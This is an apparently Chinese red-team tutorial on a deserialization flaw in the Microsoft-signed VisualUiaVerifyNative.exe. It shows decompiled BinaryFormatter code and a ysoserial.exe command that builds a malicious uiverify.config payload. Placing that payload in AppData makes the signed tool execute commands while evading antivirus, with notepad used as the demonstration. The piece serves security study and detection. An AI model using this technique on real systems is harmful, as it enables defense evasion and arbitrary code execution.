.NET 白名單文件通過(guò)反序列化執(zhí)行系統(tǒng)命令的方法
01閱讀須知
此文所提供的信息只為網(wǎng)絡(luò)安全人員對(duì)自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等(包括但不限于)進(jìn)行檢測(cè)或維護(hù)參考,未經(jīng)授權(quán)請(qǐng)勿利用文章中的技術(shù)資料對(duì)任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負(fù)責(zé)。本文所提供的工具僅用于學(xué)習(xí),禁止用于其他方面
02VisualUiaVerifyNative
在日常的紅隊(duì)行動(dòng)中,利用微軟簽名的白名單文件來(lái)繞過(guò)防護(hù)措施是一種常見(jiàn)的行為,有些場(chǎng)景下紅隊(duì)通過(guò)利用系統(tǒng)白名單文件加載反序列化漏洞的方式執(zhí)行惡意指令。
VisualUiaVerifyNative.exe 是一款具備微軟簽名的可執(zhí)行文件,屬于Microsoft UI Automation框架的一部分,最初設(shè)計(jì)用于幫助開(kāi)發(fā)人員驗(yàn)證UI自動(dòng)化的狀態(tài),一般在 Microsoft Windows SDK(Windows Kits)包中,比如路徑:Windows Kits\10\bin\10.0.22621.0\x64\UIAVerify,該工具通常依賴于以下兩個(gè)重要的動(dòng)態(tài)鏈接庫(kù)。
2.1 UIAComWrapper
UIAComWrapper.dll,該 DLL 文件封裝了 UI Automation COM 接口,用于簡(jiǎn)化與 UI Automation 元素的交互。UI Automation 是一種微軟提供的技術(shù),允許自動(dòng)化工具控制、監(jiān)視和測(cè)試 Windows 應(yīng)用程序的用戶界面。UIAComWrapper.dll 使 VisualUIAVerifyNative.exe 可以使用 .NET 代碼與 UI Automation API 進(jìn)行交互。
2.2 WUIATestLibrary
WUIATestLibrary.dll 提供了一些專(zhuān)門(mén)用于 UI 自動(dòng)化測(cè)試的庫(kù)函數(shù),主要支持自動(dòng)化測(cè)試中的通用任務(wù),例如自動(dòng)化 UI 控件的查找、狀態(tài)驗(yàn)證和操作。VisualUIAVerifyNative.exe 依賴于此庫(kù)來(lái)運(yùn)行不同的 UI 驗(yàn)證和測(cè)試場(chǎng)景。
這些依賴庫(kù)的主要作用是為 VisualUIAVerifyNative.exe 提供接口和功能支持,使其能夠與 Windows 應(yīng)用程序的 UI 自動(dòng)化框架進(jìn)行通信,并通過(guò)自動(dòng)化的方式驗(yàn)證和測(cè)試界面元素。
由于VisualUiaVerifyNative具備了微軟官方簽名的文件,因此,從反病毒軟件的視角看屬于白名單應(yīng)用程序,常??梢岳@過(guò)許多基于簽名的安全防護(hù)措施。
03反編譯分析
我們使用dnspy打開(kāi)VisualUiaVerifyNative文件的入口方法Main,發(fā)現(xiàn)調(diào)用了MainWindow類(lèi),具體代碼如下所示。
private static void Main(string[] args)
{
try
{
Debug.AutoFlush = true;
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new MainWindow(args));
Automation.RemoveAllEventHandlers();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}MainWindow類(lèi)的初始化方法中,有一個(gè)至關(guān)重要的函數(shù)ApplicationStateDeserialize負(fù)責(zé)反序列化配置文件中的數(shù)據(jù)。如下圖所示

進(jìn)入此方法內(nèi)部,發(fā)現(xiàn)打開(kāi)讀取了一個(gè)名為uiverify.config的文件,位于用戶的AppData目錄中,代碼如下所示。
private void ApplicationStateDeserialize(){
this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";
if (File.Exists(this._configFile))
{
Stream stream = File.Open(this._configFile, FileMode.Open);
BinaryFormatter binaryFormatter = new BinaryFormatter();
this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
stream.Close();
}
}最核心的是調(diào)用了BinaryFormatter類(lèi)反序列化內(nèi)容,攻擊者可以通過(guò)精心構(gòu)造的payload欺騙反序列化過(guò)程,加載惡意代碼。在代碼中,binaryFormatter.Deserialize(stream)這一行正是漏洞的觸發(fā)點(diǎn),它會(huì)反序列化uiverify.config文件中的數(shù)據(jù),并將其載入到_applicationState中。
04實(shí)戰(zhàn)利用
第1步使用ysoserial.exe工具生成一個(gè)惡意的序列化payload。在這里,我們利用了BinaryFormatter格式,并選擇TextFormattingRunProperties作為觸發(fā)器,執(zhí)行命令notepad。
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config
這會(huì)生成一個(gè)二進(jìn)制格式的惡意payload,并將其保存為Roaminguiverify.config文件,內(nèi)容如下圖所示。

第2步,將生成的Roaminguiverify.config文件寫(xiě)入到當(dāng)前用戶目錄,比如C:\Users\Administrator\AppData\Roaminguiverify.config。這個(gè)配置文件是VisualUiaVerifyNative在啟動(dòng)時(shí)會(huì)自動(dòng)讀取的文件,因此一旦寫(xiě)入惡意數(shù)據(jù),運(yùn)行該工具時(shí)會(huì)自動(dòng)觸發(fā)反序列化漏洞。

第3步,當(dāng)VisualUiaVerifyNative運(yùn)行時(shí),它會(huì)嘗試從Roaminguiverify.config文件中反序列化數(shù)據(jù),并因此執(zhí)行植入的惡意命令。在本例中,notepad.exe會(huì)在系統(tǒng)上啟動(dòng),表明命令執(zhí)行成功。

綜上,VisualUiaVerifyNative是一款具備微軟白名單的可執(zhí)行文件,用于基于Microsoft UI Automation框架進(jìn)行應(yīng)用測(cè)試。然而,通過(guò)對(duì)其配置文件的精心操作,攻擊者可以非法使用其功能來(lái)觸發(fā)反序列化漏洞,執(zhí)行任意代碼。
到此這篇關(guān)于.NET 白名單文件通過(guò)反序列化執(zhí)行系統(tǒng)命令的文章就介紹到這了,更多相關(guān).net 白名單文件反序列化執(zhí)行系統(tǒng)命令內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
asp.net 數(shù)據(jù)綁定時(shí)對(duì)數(shù)據(jù)列做個(gè)性化處理
asp.net 數(shù)據(jù)綁定時(shí)對(duì)數(shù)據(jù)列做個(gè)性化處理,需要的朋友可以參考下。2011-12-12
數(shù)據(jù)綁定之DataFormatString使用介紹
DataFormatString是很多Asp.Net控件都有的屬性,如GridView等等,下面簡(jiǎn)單介紹一下這個(gè)屬性,感興趣的朋友不要錯(cuò)過(guò)2013-10-10
ASP.NET(AJAX+JSON)實(shí)現(xiàn)對(duì)象調(diào)用
最近開(kāi)始學(xué)習(xí)ASP.NET AJAX 搞了兩天學(xué)了點(diǎn)皮毛,貼點(diǎn)代碼 日后方便自己查看.2010-01-01
asp.net 光棒效應(yīng)實(shí)現(xiàn)代碼
asp.net 光棒效應(yīng)(今天剛剛學(xué)到的)2009-12-12
如何在ASP.NET Core 的任意類(lèi)中注入Configuration
這篇文章主要介紹了如何在 ASP.NET Core 的任意類(lèi)中注入Configuration ,幫助大家更好的理解和學(xué)習(xí)使用.net技術(shù),感興趣的朋友可以了解下2021-04-04
ASP.NET CORE學(xué)習(xí)教程之自定義異常處理詳解
這篇文章主要給大家介紹了關(guān)于ASP.NET CORE學(xué)習(xí)教程之自定義異常處理的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-01-01
Debian 8或Debian 9(64 位)安裝 .NET Core
這篇文章主要為大家詳細(xì)介紹了Debian 8或Debian 9(64 位)安裝 .NET Core,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-03-03

